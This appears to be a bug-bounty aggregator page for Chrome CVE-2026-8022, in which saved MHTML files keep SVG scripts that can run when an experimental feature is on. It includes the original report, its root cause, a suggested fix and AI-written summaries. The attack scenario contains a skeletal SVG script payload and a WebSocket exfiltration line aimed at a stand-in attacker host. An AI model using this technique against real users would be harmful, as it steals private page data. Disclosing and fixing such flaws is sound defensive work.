Inappropriate implementation in MHTML (CVE-2026-8022)
When saving a page as MHTML, the serialiser failed to strip SVG script elements, and with an experimental feature enabled, scripts were allowed to run in saved files. An attacker who could inject an SVG script into a page could have it execute when the victim later opened the saved MHTML file, exfiltrating private page data via WebSocket.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 33 days
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the security team.
Overview: When saving a page as MHTML, FrameSerializer attempts to strip scripts but fails to remove SVGScriptElement. If the kMHTML_Improvements feature is enabled, scripts are allowed to execute in MHTML files, and because CSP is intentionally stripped during serialization, an injected SVG script can execute and exfiltrate private page data via WebSockets.
Affected files:
third_party/blink/renderer/core/frame/frame_serializer.cccontent/browser/renderer_host/navigation_policy_container_builder.cc
Estimated timestamp from git blame: 2024-10-25
Root Cause
When saving a webpage as an MHTML archive, Chrome attempts to strip executable scripts to prevent security issues when the saved page is reopened. This logic resides in FrameSerializer::WillProcessElement (third_party/blink/renderer/core/frame/frame_serializer.cc).
Currently, the function checks for and ignores HTMLScriptElement and HTMLNoScriptElement. However, it fails to check for SVGScriptElement. As a result, <script> tags embedded within an <svg> namespace are not stripped and are preserved verbatim in the resulting .mhtml file.
Historically, MHTML documents were loaded with strict sandbox flags that prohibited script execution. However, when the experimental blink::features::kMHTML_Improvements feature is enabled, NavigationPolicyContainerBuilder::ComputeSandboxFlags explicitly removes the kScripts restriction from the MHTML sandbox flags, assuming that FrameSerializer has already safely removed all scripts.
Compounding the issue, FrameSerializer::ShouldIgnoreMetaElement explicitly removes <meta http-equiv="Content-Security-Policy"> tags to ensure MHTML subresources load correctly. Since HTTP response headers are also not serialized, the saved MHTML file has no CSP.
Potential Attack Scenario
The following steps describe how an attacker could potentially exploit this logic flaw:
- Injection: An attacker injects a malicious SVG script (e.g.,
<svg xmlns="http://www.w3.org/2000/svg"><script>/* Malicious code */</script></svg>) into a target website (e.g., via a comment section). The site's CSP prevents it from executing on the live site. - Saving: A victim, authenticated to the site, views a page containing both their private data and the inert SVG payload. The victim saves the page locally (Ctrl+S) as a single-file MHTML.
- Serialization Bypass:
FrameSerializerstrips the site's CSP meta tags but fails to strip theSVGScriptElement, embedding both the private data and the malicious script in the local.mhtmlfile. - Execution: The victim later opens the saved MHTML file. With
kMHTML_Improvementsenabled, the sandbox allows scripts to execute. The lack of CSP allows the SVG script to run. - Exfiltration: The executing script reads the serialized DOM (containing the victim's private data). Standard
fetch()calls are blocked byResourceFetcherin MHTML contexts, but the script can successfully open a WebSocket (new WebSocket('wss://attacker.com')) because WebSockets route throughBrowserInterfaceBroker, bypassingResourceFetcher's local-only archive restrictions. The data is exfiltrated to the attacker.
Note: These steps are based on static code analysis, as our tooling does not yet have the ability to run a live Proof of Concept.
Suggested Fix
Update FrameSerializer::WillProcessElement in third_party/blink/renderer/core/frame/frame_serializer.cc to correctly identify and strip all script elements.
Instead of explicitly checking for HTMLScriptElement, it should check if the element is a script element. For example:
if (IsA<HTMLScriptElement>(element) || IsA<SVGScriptElement>(element)) {
return EmitElementChoice::kIgnore;
}
Alternatively, consider using the virtual IsScriptElement() method defined on Element if applicable.
Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The serialiser only checked for HTML script elements and not SVG script elements, while an experimental feature removed the sandbox restriction on scripts assuming all scripts had been stripped.
Impact
An attacker could exfiltrate private page data from a saved MHTML file, but only if the experimental kMHTML_Improvements feature is enabled and the victim saves and reopens the page.
What the attacker needed
KMHTML_Improvements feature enabled; attacker can inject SVG script into a page; victim saves the page as MHTML; victim opens the saved MHTML file
The fix
The serialiser should be updated to strip all script elements, including SVG script elements, rather than only HTML script elements.
How it was found
- An attacker injects an SVG script into a target website, where CSP prevents it from running.
- A victim views the page and saves it as an MHTML file.
- The serialiser strips CSP meta tags but keeps the SVG script.
- The victim opens the saved MHTML file, and with the experimental feature enabled, the script runs.
- The script reads the page data and sends it to the attacker via WebSocket.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you save a web page as a single file (MHTML), the browser tries to remove any scripts so the saved copy cannot run code. Here, a particular kind of script inside an SVG image was missed, and an experimental setting allowed scripts to run in saved files. If an attacker could get such a script onto a page, it could run when the victim opened the saved file and send private data to the attacker.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.